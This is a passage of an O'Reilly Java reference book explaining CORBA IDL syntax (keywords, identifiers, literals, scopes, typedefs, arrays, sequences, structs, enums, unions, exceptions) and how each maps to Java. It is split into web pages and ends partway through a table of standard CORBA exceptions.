This chapter serves as a quick reference for CORBA's language-independent Interface Definition Language (IDL). It also provides a summary of the Java mapping of IDL (i.e., how IDL interface definitions are mapped by an IDL-to-Java compiler into equivalent Java interfaces). For a complete, definitive reference on IDL and the Java mapping of IDL, consult the IDL specification issued by the OMG ("IDL Syntax and Semantics," Chapter 3 of The Common Object Request Broker: Architecture and Specification, published by the OMG and available at www.omg.org).

Since this reference combines an IDL reference with an overview of the Java mapping of IDL, I'll be using a combination of IDL and Java examples throughout. In order to make it clear which language is being used in each example, I've stolen a convention from the CORBA standards documents, where a comment preceding the example code indicates the language that is in use.

IDL, as the name implies, is a language for defining object interfaces. IDL is language-neutral, so interfaces defined in IDL can be converted to objects implemented in any language with an IDL mapping. One way to think of the role IDL plays is to imagine that you already have a set of interacting objects defined and then think of IDL as a way to export a subset of those interfaces so that they can be accessed by remote entities. Any member variables or operations you define in the IDL interfaces are visible and accessible by remote entities, providing they can obtain a reference to instances of these interfaces (see Chapter 4, "Java IDL", for more details on the use of CORBA objects). If you proceed this way, the definitions of the variables and operations on the IDL interfaces have to match those on the actual implementations you are exporting, according to the rules of the IDL mapping to the language they are written in.

Of course, this is not the typical way that you use IDL in practice.[1] You usually want to do an abstract design of a distributed application and its set of objects first, define the IDL interfaces for the objects that need to be used remotely, then compile these IDL interfaces into language-specific interfaces. The next step is to write implementations of the interfaces in whatever programming language you are using. You are free to add additional operations and member variables to your language-specific implementations, but these features won't be accessible remotely unless you add them to the corresponding IDL interface.

[1]One notable exception is the task of wrapping legacy code with a CORBA frontend, but even here you normally use middleware objects to interface directly with the legacy code.

There are five high-level entities you can define in an IDL specification:

  • Modules, which act as namespaces

  • Interfaces to objects (with their operations and data attributes)

  • Data types

  • Constants

  • Exceptions

These high-level entities are listed here in roughly hierarchical order. Modules contain other modules, interfaces, data types, constants, and exceptions. Interfaces contain data types, constants, and exceptions that are specific to that interface, along with the operations and attributes for the interface. We'll look at the IDL syntax that defines each of these, and, in each case, we'll see how the IDL is mapped into equivalent Java code. Before we do that, though, we need to cover some of the basics of IDL: keywords, identifiers, comments, and various types of literals.

10.1. IDL Keywords

Table 10-1 lists the reserved keywords in IDL. These keywords are case-sensitive, and they cannot be used as identifiers in any IDL constructs.

Table 10-1. IDL Reserved Keywords

any | default | in | oneway | struct | wchar
attribute | double | inout | out | switch | wstring
boolean | enum | interface | raises | TRUE |
case | exception | long | readonly | typedef |
char | FALSE | module | sequence | unsigned |
const | fixed | Object | short | union |
context | float | octet | string | void |
Previous | Home | Next
9.1. RMI Tools | Book Index | 10.2. Identifiers
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Identifiers (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

10.2. Identifiers

Identifiers name various IDL constructs, like modules, interfaces, and constants. In IDL, an identifier has to follow these rules:

  • It contains alphanumeric characters from the ISO Latin-1[2] character set (e.g., a-z, A-Z, 0-9, plus various characters with accents, graves, tildes, etc.), and the underscore character ( _ ).

    [2] ISO Latin-1 refers to the standard ISO 8859-1. You can find a listing of the character set in the HTML 3.2 standard, at http://www.w3.org/TR/REC-html32.html.

  • It can be of any length, and all characters in an identifier are significant.

  • The first character must be an alphabetic character.

  • Identifiers are case-insensitive, in the sense that two identifiers that differ only by case are considered a name collision and cause an IDL compiler error. This rule stems from the fact that IDL needs to be mappable into many implementation languages, some of which are case-insensitive.

  • Identifiers must be spelled and capitalized consistently throughout an IDL file.

  • All IDL identifiers share the same namespace, so interfaces, modules, user-defined types, etc. within the same scope must have unique identifiers. An interface named List and a module named List within the same scope cause a name collision and an IDL compiler error. See Section 10.6, "Naming Scopes" for more details.

10.2.1. Mapping Identifiers to Java

An IDL-to-Java compiler attempts to map all IDL identifiers unchanged into equivalent Java identifiers.

An exception is the case where a mapped identifier conflicts with an identifier created automatically by the IDL compiler. IDL interfaces, for example, when they are mapped to Java, have two additional Java interfaces created for them, named with the original interface name, with Helper and Holder appended (see Chapter 4, "Java IDL" for details on the purpose of these generated interfaces). So, an interface named List is mapped into a Java interface named List, and also causes the creation of Java interfaces named ListHelper and ListHolder. If there is another identifier in the IDL file you've named ListHelper or ListHolder, its mapped Java identifier has an underscore prepended to it (e.g., _ListHelper, _ListHolder) to avoid a conflict with the generated interface names. In general, identifiers automatically generated by the IDL compiler have precedence over other identifiers declared explicitly in the IDL file.

The other exception to the general rule of directly mapping IDL identifiers to Java identifiers is with a mapping that conflicts with a Java keyword. In this case, the mapped Java identifier has an underscore prepended to it. If, for example, you declared a constant named package (not a reserved keyword in IDL), it is mapped to a Java variable named _package.

Previous | Home | Next
10.1. IDL Keywords | Book Index | 10.3. Comments
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Comments (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

10.3. Comments

Comments in IDL follow the format of C, C++, and Java comments. A block comment starts with the character sequence /* and ends with the character sequence */. A line comment begins with the character sequence //, and ends at the end of the line on which it begins.

10.3.1. Mapping Comments to Java

There are no rules for mapping IDL comments to Java. Many IDL-to-Java compilers simply drop comments from IDL files during the conversion to Java, since in many cases the comments refer to the IDL code and may not be totally relevant in the generated Java code.

Previous | Home | Next
10.2. Identifiers | Book Index | 10.4. Basic Data Types
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Basic Data Types (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

10.4. Basic Data Types

IDL supports the basic data types shown in Table 10-2. In the same table, I've shown the Java type that each is mapped to according to the standard IDL-to-Java mapping. Note that there isn't a standard mapping defined for the fixed and long double IDL types. These data types were added to the IDL syntax relatively recently, and the IDL Java mapping hasn't been updated to include these as of this writing. Another important thing to note is that Java doesn't support unsigned types, such as unsigned short. So the IDL short and unsigned short types are both mapped to the Java short data type. You should be aware of this when writing implementations of IDL-generated Java interfaces, since it is up to you to either ensure that their values remain positive or deal with the fact that their values may be set to negative values.

Table 10-2. IDL Basic Data Types, Sizes, and Java Mappings

IDL Type Specifier | Required Size | Java Data Type
short | 16 bits | short
long | 32 bits | int
long long | 64 bits | long
unsigned short | 16 bits | short
unsigned long | 32 bits | int
unsigned long long | 64 bits | long
char | 8 bits | char
wchar | Implementation-dependent | char
string | Unlimited | java.lang.String
string<size> | size chars | java.lang.String
wstring | Unlimited | java.lang.String
wstring<size> | size wchars | java.lang.String
boolean | Implementation-dependent | boolean
octet | 8 bits | byte
any |  |
float | IEEE single-precision | float
double | IEEE double-precision | double
long double | IEEE double-extended | Not defined
fixed | 31 decimal digits | Not defined

10.4.1. Strings and Characters

There are two character types included in IDL: char and wchar. A char represents an 8-bit character from a single-byte character set, such as ASCII. A wchar represents a wide character from any character set, including multibyte character sets like Kanji. The size of a wchar is implementation-specific.

I've included the IDL string and wstring data types in this table as well, although technically they should be considered constructed data types (arrays of a basic data type, characters). Since they're so frequently used, it's useful to have them together with all of the IDL basic data types.

A string is the equivalent of an array of char values, and a wstring is an array of wchar values. In each case, there are two ways to specify a string type: with or without a size specification, in angle brackets following the type name. If you provide a size specification in your IDL declaration (e.g., string<10> name), the language mapping is responsible for enforcing the size limits of the string. If you don't provide a size specification, the string is allowed to grow to any size, limited only by the implementation language.

If support for a multibyte character set is important for your application, it's best to declare all your character and string data as wchar and wstring values. This way you'll be sure to get multibyte support in languages that support it.

10.4.1.1. Mapping strings and characters to Java

In the IDL-to-Java mapping, both char and wchar are mapped to the Java char type, and both string and wstring are mapped to the java.lang.String class. In Java, the char type represents a two-byte Unicode character and can therefore support multibyte character sets by default.

When marshalling and unmarshalling data items during remote method calls, the ORB is responsible for performing bounds checks on the data members being set. If a value exceeds the limits declared for the string member in the IDL specification of the interface, an org.omg.CORBA.MARSHAL exception is thrown.

Previous | Home | Next
10.3. Comments | Book Index | 10.5. Constants and Literals
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Constants and Literals (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

10.5. Constants and Literals

Literals are explicit values inserted into IDL code. Sometimes a literal is used to specify a default value for an interface attribute or to declare the value for a constant. Literals can be boolean (TRUE or FALSE), numeric (integer, floating point, or fixed point), or character-based (a single character or a string).

Literals are most often used in IDL to initialize the values of constants. Constants are named variables that are restricted from being modified after being initialized. In IDL, a constant is declared using the syntax:

// IDL
const type identifier = value;

where type is any valid basic data type or declared interface type, identifier is any valid IDL identifier, and value is any IDL expression that evaluates to a literal value. The initialization expression can be a simple literal or a complex expression combining multiple literals using logical or mathematical operators. You can declare a few useful numeric constants as follows, for example:

// IDL
const float half = 1 / 2;
const float quarter = 1 / 4;

Most of the operators present in C/C++, such as addition (+), subtraction (-), multiplication (*), division (/), and the logical and bitwise operators (|, &, ^, ||, &&, etc.) are supported by IDL.

10.5.1. Mapping Constants to Java

If an IDL constant is declared within an interface definition, the constant is mapped to a public final static member on the corresponding Java interface.

If the IDL constant is declared outside an interface definition, a Java interface is created to hold the constant value as a public static final value. The generated interface has the same name as the IDL identifier given to the constant, and the static class member has the name value. Consider the following IDL constant declaration:

// IDL
const float PI = 3.14159;
interface GeometricOperators {
    ...

This causes the generation of the following Java interface:

// Java
public final class PI {
    public static final float value = (float) (3.14159D);
}

In your Java code, you can reference the constant value using PI.value.

10.5.2. Boolean Literals

There are two boolean literals (naturally) in IDL. They are specified using the keywords TRUE and FALSE. Their IDL type is boolean. In Java, they are mapped to the boolean values true and false.

10.5.3. Numeric Literals

Integer literals, floating-point literals, and fixed-point literals comprise numeric literals in IDL.

10.5.3.1. Integer literals

An integer value in IDL can be declared in decimal, octal, or hexadecimal notation. Any sequence of digits that does not start with a zero is considered a decimal integer value. If the sequence is all digits but starts with a zero, it's assumed to be an octal value. If the literal starts with 0X or 0x, it's taken to be a hexadecimal value.

10.5.3.2. Floating-point literals

A floating-point literal is a decimal integer, optionally followed by a decimal point and a fractional component, and/or by the letter e or E followed by an exponent expressed as a decimal integer. Either the fractional component (with the decimal point) or the exponent (with the e or E) must be present for the literal to be interpreted as a floating-point value and not an integer. Similarly, either the initial integer component or the decimal point must be present. So, for example, these are valid floating-point literals:

2.34
0.314159e1
3E19
.0003413

10.5.3.3. Fixed-point literals

A fixed-point literal consists of a decimal integer, optionally followed by a decimal point and fractional component (expressed as a decimal value), followed by the letter d or D. Either the integer component or the fractional component must be present. The decimal point is optional. The trailing d or D must be present in order for the literal to be interpreted as a fixed-point value. The following are all valid fixed-point literals:

1.50d
.025d
1.333D
12d

10.5.3.4. Mapping numeric literals to Java

Numeric literals are mapped by taking into account the context in which they are used. Typically, a literal initializes a constant, so the declared type of the constant has to be checked to determine whether the literal is valid for the type and how it should be mapped to a Java literal. For example, these two similar IDL constant declarations:

// IDL
const short largeVal = 2e5;
const float largeFloatVal = 2e5;

are mapped by Sun's idltojava compiler to these Java declarations:

// Java
public static final short largeVal = (short) (2e5D);
public static final float largeFloatVal = (float) (2e5D);

Sun's idltojava compiler doesn't do any type checking on the IDL literal before converting it to its Java form and inserting it into the cast operation shown previously. So it is possible for the idltojava compiler to generate invalid Java code. For example:

// IDL
const float literalTest = TRUE;

is converted without warning by idltojava to:

// Java
public static final float literalTest = (float)(true);

10.5.4. Character Literals

A character literal is a character specification enclosed in single quotes (e.g., 'a'). Character literals can be specified using only elements of the ISO 8859-1 character set. Some characters need to be specified with a sequence of more than one character. These include characters that are nonprintable and the single- and double-quote characters that delimit string and character literals. These characters are specified with escape sequences, which start with a backslash character (\). Table 10-3 lists the escape sequences supported by IDL and the nonprintable characters they represent.

Table 10-3. IDL Escape Sequences

Escape Sequence | Meaning
\a | Alert
\\ | Backslash
\b | Backspace
\r | Carriage return
\" | Double quote
\f | Form feed
\x##(e.g., \x4e) | Hexadecimal number
\n | Newline
\###(e.g., \012) | Octal number
\? | Question mark
\' | Single quote
\t | Tab
\v | Vertical tab

Character literals, including the escape sequences listed in Table 10-3, are converted unchanged into Java literals.

10.5.5. String Literals

A string literal is a sequence of characters delimited by double quote (") characters. If two string literals are adjacent to each other in an IDL file, they are concatenated. So, in this example:

// IDL
const string acctHolder = "Jim" "Farley";

the generated Java code is:[3]

[3]There appears to be an error in Sun's idltojava compiler (with the version released as of this writing, at least) that causes it to raise a syntax error when it encounters adjacent string literals. The IDL specification dictates the behavior as described here, though.

// Java
public static final String acctHolder = "Jim Farley";

If you want to use the double-quote character in a string literal, you have to use its escape sequence (see Table 10-3).

Previous | Home | Next
10.4. Basic Data Types | Book Index | 10.6. Naming Scopes
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Naming Scopes (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

10.6. Naming Scopes

Each IDL file you create defines a namespace or naming scope for identifiers you declare within that file. This namespace is further subdivided into nested scopes whenever you declare a new module, interface, structure, union, or exception in your IDL file. You can think of the naming scope within an IDL file as a sort of naming directory. By default, you start at the root of the directory, and each time you open a declaration of one of these items, you start a new subdirectory of the naming directory, named after the identifier you use for the item.

You can specify a scope using the :: delimiter, which is analogous to the / or \ delimiter in file directories. The root scope for the IDL file is represented as :: by itself, and nested scopes are specified by adding their names, such as ::utils::math::MatrixOps. The names in a scope name can refer to any identifiers that might exist in each scope. In this example, utils and math might refer to modules (the math module is declared within the utils module), and MatrixOps might refer to an interface declared within the math module. The intermediate elements in a scoped name must refer to one of the IDL elements that define their own scopes, but the final element in a scoped name can refer to any item with its own identifier, including constants, data members on interfaces, etc.

Within any particular scope in the naming scope of an IDL file (including the root scope), all identifiers within that scope must be unique. Separate nested scopes off of one parent scope can have identical identifiers declared within them and can share identifiers with their parent scope as well, but two identifiers at the same level within a scope can't be the same. As as example, the following is legal in an IDL file:

// IDL
module utils {
    interface math {
        const float PI = 3.14159;
    };
    interface baking {
        const string PI = "apple";
    };
};

The two definitions of PI (::utils::math::PI and ::utils::baking::PI) do not conflict, since they each have distinct absolute scoped names within the IDL file. You cannot, however, declare a constant named math within the utils module, since its fully scoped name is ::utils::math, which conflicts with the name of the math interface.

Scoped names that begin with :: are absolute names, and are relative to the root file scope of the IDL file. Names that don't start with :: are relative to the local scope in which they appear. So we can add two new constants to our math interface that use scoped names to reference our versions of PI:

// IDL
module utils {
    interface math {
        const float PI = 3.14159;
        const float PIsquared = PI * PI;
        const string PIOfTheDay = ::utils::baking::PI;
    };
    interface baking {
        const string PI = "apple";
    };
};

The reference to PI in the definition of the PIsquared constant is relative to the ::utils::math scope, so it refers to the float constant. The reference to PI in the PIOfTheDay definition is absolute and references the string definition of PI in the baking interface.

Previous | Home | Next
10.5. Constants and Literals | Book Index | 10.7. User-Defined Data Types
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


User-Defined Data Types (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

10.7. User-Defined Data Types

In addition to the basic data types already described, IDL supports user-defined data types, which are aggregations of these basic types. These complex data types include arrays, sequences, enumerations, and constructed data types you define yourself using structs and unions. We'll go over each in detail in this section.

A complex data type is used in IDL by first giving it a type name, then using the type name wherever you would use a basic data- or interface-type name (e.g., declaring attributes, method arguments). There are a few ways a name is assigned to a complex data type:

  • With structures, unions, and enumerations, the name is included in the declaration of the data type.

  • A typedef can be used to assign a name to a specific type (basic or complex).

Before we go on to see how complex data types are declared in IDL, let's take a look at how a typedef assigns a type name to a complex data type.

10.7.1. Typedefs

A typedef associates a name with another data type. Here is the syntax of an IDL typedef:

typedef type identifier

The type can be any basic IDL data type, a user-defined data structure (structure, union, or enumeration), an IDL interface type, or a sequence. The identifier can be a simple IDL identifier, or it can include dimension specifications for an array. So the following are all valid typedef statements:

// IDL
typedef short myShort;
typedef long longArray[2][2];
typedef PrintServer pserver;

After declaring these typedefs in your IDL file, you can use myShort, longArray, and pserver as type names when declaring method arguments, return values, or interface attributes.

10.7.1.1. Mapping typedefs to Java

If an IDL typedef refers to a basic IDL type, the Java equivalent to that type is used wherever the typedef identifier is used. So our myShorttypedef in the previous section is replaced by the Java type short wherever it's used.

Any typedefs that refer to user-defined types are replaced by the mapped Java class or interface for the target IDL type. If the type used in an IDL typedef is itself a typedef, its target type is found, and so on, until a final user-defined type or basic IDL type is found. Consider this example:

// IDL
struct LinkedList {
    any item;
    any next;
};

typedef LinkedList DefList;
typedef DefList MyList;

Wherever either DefList or MyList appears in the IDL file, it is mapped to the Java class generated for the LinkedList type, since they both refer (directly or indirectly) to that type.

10.7.2. Arrays

Arrays can only be declared within the context of a typedef. Once you've assigned the array type to a type name using the typedef, you can use the new type name to declare array members on interfaces. IDL doesn't provide a way to initialize array values, so you cannot declare array constants in IDL, since constants have to be initialized in their declaration.

To declare an array, simply add dimensions in brackets to a variable identifier. For example, to define a two-dimensional array of short values:

// IDL
typedef short short2x2Array[2][2];

IDL requires that you explicitly specify each dimension of the array, in order to support mappings to languages that have a similar requirement.

10.7.2.1. Mapping arrays to Java

Arrays are mapped into Java as arrays (naturally). So, if we use the short2x2Array type defined above in an IDL interface:

// IDL
interface MatrixOps {
    attribute short2x2Array identity2D;
    ...

the corresponding Java code looks like so:

// Java
public interface MatrixOps {
    short[][] identity2D();
    void identity2D(short[][] arg);
    ...

We'll look more at how interface attributes are mapped to Java later, but you can infer from this that the short IDL array is mapped to a short array in Java. The attribute is mapped to get() and set() methods for that attribute. Since Java doesn't allow array type specifiers to include dimensions, our declaration that the identity2D attribute be a 2-by-2 array has been lost in the mapping. It's up to you to provide an implementation of this interface that enforces the intended dimensions of the array within the Java interface.

In addition to mapping the array type to equivalent type specifiers, each array typedef in IDL causes the generation of corresponding helper and holder classes in Java. The type name specified in the IDL typedef is used as the prefix for the xxxHelper and xxxHolder class names. So our short2x2Array type has short2x2ArrayHelper and short2x2ArrayHolder classes generated for it. The helper class provides the static methods that read and write the array type over CORBA I/O streams, when the array type is used as a method argument or return type. These methods enforce the array dimensions that you dictate in your IDL typedef; if the array is not of the correct type when being marshalled, the write() method throws an org.omg.CORBA.MARSHAL exception. The holder class is used whenever you use your array type as an inout or out method argument. For more details on the purposes of helper and holder classes, see Chapter 4, "Java IDL".

10.7.3. Sequences

An IDL sequence is a one-dimensional array. To declare a sequence, you need to declare the type of the elements in the sequence, and optionally the maximum size of the sequence:

// IDL
typedef sequence<long, 2> longVector;
typedef sequence<short> unboundedShortVector;
typedef sequence<sequence<float, 2> > coordVector;

Like arrays, sequences have to be declared within a typedef and then the new type name can be used for typing attributes, method arguments, and return values. Note that the elements in a sequence can themselves be a sequence. Also notice that if you don't provide a bound for a sequence of sequences, you need to put a space between the two > brackets, so that they aren't parsed as a >> operator.

10.7.3.1. Mapping sequences to Java

Sequences are mapped to Java almost identically to arrays. A sequence of a given IDL type becomes a Java array of the equivalent Java type, sequences of sequences become two-dimensional arrays, etc. A holder and helper class are generated for each sequence typedef as well, using the type name specified in the typedef. The write() method on the helper class enforces any size bounds you specify on the sequence, throwing an org.omg.CORBA.MARSHAL exception if they don't match.

10.7.4. Structs

A fixed data structure is declared using the struct construct in IDL. A struct is declared using the following syntax:

// IDL
struct type-name {
    data-member;
    data-member;
    ...
};

The type name is any valid identifier in IDL. Each data member is specified using a type specification and an identifier that references the member (similar to attributes on an interface, described in Section 10.10.1, "Attributes" in Section 10.10, "Interface Declarations"). You can use basic data types, arrays, sequences, and any other typedefs as types for members of a struct. You can declare a recursive structure (a structure that includes members of its own type) by using a sequence declaration:

// IDL
struct LispStringList {
    string car;
    sequence<LispStringList> cdr;
};

10.7.4.1. Mapping structs to Java

An IDL struct is mapped to a public final Java class with the same name as the struct. Each member of the struct is mapped to a public instance member on the Java class. The Java class includes a default constructor that leaves the member variables uninitialized and a constructor that accepts a value for each member. Our example struct above is mapped to the following Java class:

// Java
public final class LispStringList {
    // instance variables
    public String car;
    public LispStringList[] cdr;
    // constructors
    public LispStringList() { }
    public LispStringList(String __car, LispStringList[] __cdr) {
        car = __car;
        cdr = __cdr;
    }
}

Each struct also has a Java holder class generated for it, which marshalls the data type when it's used as an inout or out method argument or as a method return value.

10.7.5. Enumerations

An enumeration in IDL declares an ordered list of identifiers, whose values are assigned in ascending order according to their order in the enumeration. An enumeration is given a type name so that the elements of the enumeration can be referenced. The syntax for declaring an IDL enumeration is:

// IDL
enum type-name { element-name, element-name, ... };

The elements in the enumeration are guaranteed to be assigned actual values so that the comparison operators in the implementation language recognize the order of the elements as specified in the enum declaration. In other words, the first element is less than the second, the second is less than the third, etc. An example enum declaration follows:

// IDL
enum ErrorCode { BadValue, DimensionError, Overflow, Underflow };

10.7.5.1. Mapping enumerations to Java

Each enumerated type you declare in IDL is mapped to a publicfinal Java class of the same name as the enumeration. The class holds a single privateint instance member called value. A single private constructor is generated for the class, which takes an int argument that initializes the value member.

For each element of the enumeration, two components are added to the Java class: a static final int data member and a static instance of the generated Java class. The static data member generated for each element is given a value that enforces the order of the elements in the enumeration, and the static class instance generated for each element is initialized with this same value. The static class instance is given the same name as the element in the enumeration, and the static data member is given the element's name prepended with an underscore. These two representations for each element of the enumeration let you reference the element value using either a corresponding int value or the generated Java class type. If the enumerated type is used as a method argument or return value in an IDL interface, your Java implementation has to use the object versions of the elements.

Our example enumeration generates a Java class like the following:

// Java
public final class ErrorCode {
    public static final int _BadValue = 0,
        _DimensionError = 1,
        _Overflow = 2,
        _Underflow = 3;
    public static final ErrorCode BadValue = new ErrorCode(_BadValue);
    public static final ErrorCode DimensionError = new
      ErrorCode(_DimensionError);
    public static final ErrorCode Overflow = new ErrorCode(_Overflow);
    public static final ErrorCode Underflow = new ErrorCode(_Underflow);
    public int value() {
        return _value;
    }
    public static final ErrorCode from_int(int i) throws
      org.omg.CORBA.BAD_PARAM {
        switch (i) {
            case _BadValue:
                return BadValue;
            case _DimensionError:
                return DimensionError;
            case _Overflow:
                return Overflow;
            case _Underflow:
                return Underflow;
            default:
                throw new org.omg.CORBA.BAD_PARAM();
        }
    }
    private ErrorCode(int _value){
        this._value = _value;
    }
    private int _value;
}

So we can refer to the elements in the enumeration in our Java code using any of the following forms:

// Java
int error1 = ErrorCode._BadValue;
ErrorCode error2 = ErrorCode.Overflow;
int error2Val = error2.value();

Each enumerated type also has a holder class generated for it that is used whenever the enumerated type is used in IDL as an out or inout method argument. Although not strictly required by the IDL Java mapping defined by the OMG, an enumerated type might also have a helper class generated for it.

10.7.6. Unions

IDL unions are similar in nature to discriminated unions in C and C++. A single tag field, or discriminator, determines the data element held by the union. Depending on the value of the discriminator field, a particular instance of the union type may hold a different data member. The union is declared using a switch statement to declare the various possible formats, or branches, of the union structure:

// IDL
union type-name switch (discriminator-type) {
    case tag-value:
        [data-element;]
    case tag-value:
        [data-element;]
    . . .
    [default:]
        data-element;
};

The discriminator for the union is declared using only the type for the discriminator (no identifier is given to the discriminator, since there is only a single discriminator per union type). The type for the discriminator must be an integer, character, boolean, or enumerated type (string, struct, union, array, and sequence are not allowed).

Each branch in the switch defines a data element that represents the value of the union if its discriminator is a given value. Each data member identifier in a union switch has to be unique. Multiple cases can be mapped to the same data element by listing them sequentially within the switch. A single optional default case can be given for any values not given their own cases. Consider the following union:

// IDL
typedef Coord2d sequence<long, 2>;
typedef Coord3d sequence<long, 3>;
union MultiCoord switch (short) {
    case 1:
        long pos;
    case 2:
        Coord2d val2d;
    case 3:
    default:
        Coord3d val3d;
};

This declares a type named MultiCoord that represents a one-, two-, or three-dimensional coordinate, depending on the value of its discriminator value. The default is for the coordinate to be three-dimensional, so the case for a discriminator value of 3 is the same as the default case. Since a union can have only a single data member per case, we have to use typedef types for the coordinate values. Depending on the discriminator value, the union contains either a simple integer position, a Coord2D type that is declared as a sequence of two integer values, or a Coord3D type that is a sequence of three integer values.

If the discriminator value is given a value not listed in a case, the union consists of the data member in the default case, if present. If there is no default case, the union has only its discriminator value and no data members.

10.7.6.1. Mapping unions to Java

Each IDL union is mapped to a public final Java class of the same name as the union identifier. The class contains a single, default constructor. The class has some kind of data member for maintaining the value of the union discriminator (the details of which are not dictated by the IDL-to-Java mapping) and a discriminator() method for accessing it as a short value. The standard also doesn't specify how data members for the union are implemented in the Java class. Each branch you specify in the IDL union is mapped to an accessor method and modifier method for that branch, and these methods are named after the identifier given to the data member in the branch. If you use one of the modifier methods to set that branch of the union type, the discriminator is automatically set to the corresponding value. If you attempt to access the value from a branch, and the union is not set to that branch, an org.omg.CORBA.BAD_OPERATION exception is thrown. The return value types and method arguments for the discriminator() method and the case accessor/modifier methods are determined based on the standard type conversion rules for mapping IDL to Java.

Our MultiCoord union example is mapped to the following Java class by Sun's idltojava compiler:

// Java
public final class MultiCoord {
    // instance variables
    private boolean __initialized;
    private short __discriminator;
    private java.lang.Object __value;
    private short _default = 4;
    // constructor
    public MultiCoord() {
        __initialized = false;
        __value = null;
    }
    // discriminator accessor
    public short discriminator() throws org.omg.CORBA.BAD_OPERATION {
        if (!__initialized) {
            throw new org.omg.CORBA.BAD_OPERATION();
        }
        return __discriminator;
    }
    // branch constructors and get and set accessors
    public int pos() throws org.omg.CORBA.BAD_OPERATION {
        if (!__initialized) {
            throw new org.omg.CORBA.BAD_OPERATION();
        }
        switch (__discriminator) {
            case (short) (1L):
                break;
            default:
                throw new org.omg.CORBA.BAD_OPERATION();
        }
        return ((org.omg.CORBA.IntHolder) __value).value;
    }
    public void pos(int value) {
        __initialized = true;
        __discriminator = (short) (1L);
        __value = new org.omg.CORBA.IntHolder(value);
    }
    public int[] val2d() throws org.omg.CORBA.BAD_OPERATION {
        if (!__initialized) {
            throw new org.omg.CORBA.BAD_OPERATION();
        }
        switch (__discriminator) {
            case (short) (2L):
                break;
            default:
                throw new org.omg.CORBA.BAD_OPERATION();
        }
        return (int[]) __value;
    }
    public void val2d(int[] value) {
        __initialized = true;
        __discriminator = (short) (2L);
        __value = value;
    }
    public int[] val3d() throws org.omg.CORBA.BAD_OPERATION {
        if (!__initialized) {
            throw new org.omg.CORBA.BAD_OPERATION();
        }
        switch (__discriminator) {
            default:
                break;
            case (short) (1L):
            case (short) (2L):
                throw new org.omg.CORBA.BAD_OPERATION();
        }
        return (int[]) __value;
    }
    public void val3d(int[] value) {
        __initialized = true;
        __discriminator = (short) (3L);
        __value = value;
    }
}

Notice that Sun's idltojava compiler implements the data branches in the union using a single java.lang.Object data member, which references an object of the appropriate type when the union is put into a particular branch.

In this case, the default case and the third case share the same branch, so no accessor or modifier method is generated for the default case. If we have a default case that is separate from all other explicit cases in the union (i.e., has its own branch), an accessor and modifier method are generated for its branch as well. If two explicit cases are mapped to the same branch in the switch, the Java modifier method generated for that branch sets the discriminator value to the value of the first case included for that branch. In these cases, another modifier method, which takes a second argument that is the value for the discriminator, is also generated. As an example, if we want to use a Coord2D for both 1D and 2D coordinates, we can modify our IDL union to have both case 1 and 2 use the same branch:

typedef sequence<long, 2> Coord2d;
typedef sequence<long, 3> Coord3d;
union MultiCoord switch (short) {
 case 1:
 case 2:
   Coord2d val2d;
 case 3:
   Coord3d val3d;
 default:
   Coord3d valDef;
};

In this situation, the generated Java has an additional method included for the val2d branch:

public void val2d(int discrim, int[] value) { ... }

This allows you to set the union to that branch and also specify which discriminator is intended. This can be useful in some cases, such as our modified MultiCoord example, where the value of the discriminator determines the usage for the object.[4]

[4]The current version of Sun's idltojava compiler, which originally shipped with the beta 2 of JDK 1.2, violates this part of the standard and does not generate the extra modifier method for multicase branches.

If no explicit default case is given in the union and if the listed cases do not completely cover the possible values for the discriminator, the generated Java class includes a single method named default() that takes no arguments and returns a void. This serves as the modifier for the default case, setting the union discriminator to some unused value.

The union class also has a holder class generated for it. Although not specified in the standard mapping, it might also have a helper class generated, but you shouldn't depend on the helper class being present in the generated Java.

Previous | Home | Next
10.6. Naming Scopes | Book Index | 10.8. Exceptions
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Exceptions (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

10.8. Exceptions

You can define exceptions in IDL that signal errors or other unusual circumstances that may occur during a remote method call. Exceptions are declared with a unique name and an optional set of data attributes:

// IDL
exception identifier { data-member; data-member; ...};

Each data member on the exception type is simply a type specification followed by a unique identifier for the data member. The data provides the caller with additional information about what went wrong during the remote method call.

Using our geometric examples from earlier, we might define an exception that is thrown when a MultiCoord with unexpected dimensions is passed into a method:

// IDL
exception BadDimension {
    short expected;
    short passed;
};

A server object that raises one of these exceptions can set these data values, and the client making the request can read these values and interpret what went wrong.

Exceptions can be declared within any module or interface scope in your IDL file.

10.8.1. Standard Exceptions

In addition to user-defined exceptions, there is a set of standard exceptions defined within the CORBA module. These standard exceptions can be raised by any method, even though they are not listed explicitly in the method definition. These exceptions can be referenced in IDL using the CORBA:: scope (e.g., CORBA::BAD_PARAM). The standard CORBA exceptions are listed in Table 10-4. Every standard CORBA exception includes two data members: an unsigned long minor error code that can further specify the type of error that occurred, and a completion_statusenum that can be either COMPLETED_YES, COMPLETED_NO, or COMPLETED_MAYBE. These status values indicate that before the exception was raised, the method was either completed, never initiated, or in an unknown state, respectively. A more complete description of the standard exceptions (in their Java form) can be found in Chapter 28, "The javax.transaction Package".

Table 10-4. Standard CORBA Exceptions

Exception Name | Meaning
BAD_CONTEXT | Failure while accessing the context object.
BAD_INV_ORDER | Some methods were called out of their expected order.
BAD_OPERATION | An invalid method was called.
BAD_PARAM | An invalid argument was passed into a method.
BAD_TYPECODE | A bad typecode was used.
COMM_FAILURE | A communication failure occurred.
DATA_CONVERSION | Error while converting data.
FREE_MEM | Failed to free some memory.
IMP_LIMIT | Some implementation limit was exceeded.
INITIALIZE | The ORB initialization failed.
INTERNAL | An internal ORB error occurred.
INTF_REPOS | Error attempting to access interface repository.
INV_FLAG | An invalid flag was given.
INV_IDENT | Invalid identifier syntax was encountered.
INV_OBJREF | An invalid object reference was encountered.
